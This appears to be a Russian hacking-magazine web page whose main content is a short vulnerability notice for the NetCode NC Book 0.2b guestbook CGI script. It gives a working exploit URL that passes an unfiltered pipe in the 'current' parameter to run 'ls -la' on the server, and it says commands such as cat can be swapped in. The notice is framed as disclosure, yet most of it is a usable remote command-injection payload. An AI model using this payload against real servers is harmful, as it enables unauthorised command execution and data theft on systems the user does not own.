Лучшие статьи квартала на бумаге
2 000 ₽
Заказать журнал
Полный доступ к статьям и архиву выпусков
6 000 ₽ в год
Подписаться
Совместный курс «Хакера» и лаборатории «Хаксет»
7 000 ₽
Купить курс
Лучшие статьи за 2021–2022 годы на бумаге
2 000 ₽
Заказать журнал
Уязвимость в основном сценарии guestbook позволяет выполнить любые команды на сервере (нефильтруемый '|').
Уязвимость работает в NetCode NC Book 0.2b.
Эксплоит (выводит содержание корневой директории, можно добавить любые команды типа ls, cat и т.п):
http://target/cgi-bin/ncbook/ book.cgi?action=default¤t=|ls -la/|&form_tid=996604045&prev=
main.html&list_message_index=10
Сайт защищен Qrator —